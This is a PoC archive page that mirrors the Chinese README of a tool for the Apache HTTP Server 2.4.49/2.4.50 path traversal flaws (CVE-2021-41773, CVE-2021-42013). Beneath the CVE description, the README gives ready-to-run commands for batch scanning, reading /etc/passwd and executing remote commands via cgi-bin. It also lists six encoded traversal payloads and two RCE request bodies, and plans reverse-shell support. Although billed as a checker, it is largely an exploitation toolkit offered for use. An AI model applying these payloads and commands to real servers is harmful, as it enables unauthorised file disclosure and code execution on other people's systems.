Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-41773 PoC — Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49

Source
Associated Vulnerability
Title:Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
Description:A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.
Description
apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)
Readme
# apache httpd path traversal checker


## 0x00 概述

20211005,网上曝出apache httpd 2.4.49的目录穿越漏洞(cve-2021-41773),可造成任意文件读取(穿越的目录允许被访问,如配置了`<Directory />Require all granted</Directory>`, 默认不允许)或命令执行(rce需开启cgi,默认不包含cgi模块)

20211008,又出了2.4.50的目录穿越(cve-2021-42013),是绕过了cve-2021-41773的修复。

漏洞详情参考:[apache httpd 2.4.49/2.4.50 目录穿越漏洞重现及分析](https://www.lsablog.com/networksec/penetration/apache-httpd-path-traversal-analysis/) 



## 0x01 快速开始

python3运行

使用帮助:python3 apache-httpd-path-traversal.py -h

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-00.png)


单url检测:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80"

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-01.png)

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-02.png)


批量检测:python3 apache-httpd-path-traversal.py -f urls.txt -t 30 -s 3

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-03.png)


文件读取:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /icons --readfile

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-04.png)


命令执行:python3 apache-httpd-path-traversal.py -u "http://1.2.3.4:80" --cdir /cgi-bin --rce

![](https://github.com/theLSA/apache-httpd-path-traversal-checker/blob/master/demo/apache-httpd-path-traversal-checker-05.png)



## 0x02 工具简介

使用urllib.request发http数据包

检测漏洞存在的依据是读取/etc/passwd判断返回数据是否含有”root:”字符串(因为大部分都是linux,所以暂时忽略检测windows)

多线程,可选择超时时间,以提高效率。

可选存在的目录(--cdir),rce的shell(--rceshell),以提供灵活性。

检测时采用可能的公共目录列表,提高命中率。
commonDirList = ['/cgi-bin', '/icons', '/assets', '/uploads', '/img', '/image']

注意:有时候文件读取是利用icons目录,而rce要用cgi-bin目录,具体情况具体分析。

采用7种poc和2种rce的post data格式:

#cve-2021-41773
poc0 = "/.%2e/%2e%2e/%2e%2e/%2e%2e"

poc1 = "/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e"


#cve-2021-42013
poc2 = "/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65"

poc3 = "/.%%32%65/.%%32%65/.%%32%65/.%%32%65"

poc4 = "/.%%32e/.%%32e/.%%32e/.%%32e"

poc5 = "/.%2%65/.%2%65/.%2%65/.%2%65"

#rce data
rce0 = "echo;id"

rce1 = "echo Content-Type: text/plain; echo; id"

//rce的post方法改为get方法好像也行。

//payload要根据目标的apache路径层数变化跳出,一般4层够了。

//要有一个apache存在的目录,比如icons/或cgi-bin/



## 0x03 TODO

1.可能会增加对windows系统的检测。

2.可能会增加反弹shell等进一步利用。



## 0x04 反馈

[issus](https://github.com/theLSA/apache-httpd-path-traversal-checker/issues)

gmail:[lsasguge196@gmail.com](mailto:lsasguge196@gmail.com)

qq:[2894400469@qq.com](mailto:2894400469@qq.com)
File Snapshot

[4.0K] /data/pocs/d17bf15c6e4bb2b33a64b85975b9e77a8cd7c2f6 ├── [7.6K] apache-httpd-path-traversal.py ├── [4.0K] batch_result │   └── [ 18] success.txt ├── [4.0K] demo │   ├── [152K] apache-httpd-path-traversal-checker-00.png │   ├── [ 66K] apache-httpd-path-traversal-checker-01.png │   ├── [263K] apache-httpd-path-traversal-checker-02.png │   ├── [123K] apache-httpd-path-traversal-checker-03.png │   ├── [111K] apache-httpd-path-traversal-checker-04.png │   └── [118K] apache-httpd-path-traversal-checker-05.png ├── [1.0K] LICENSE ├── [3.4K] README.md └── [ 14] urls.txt 2 directories, 11 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →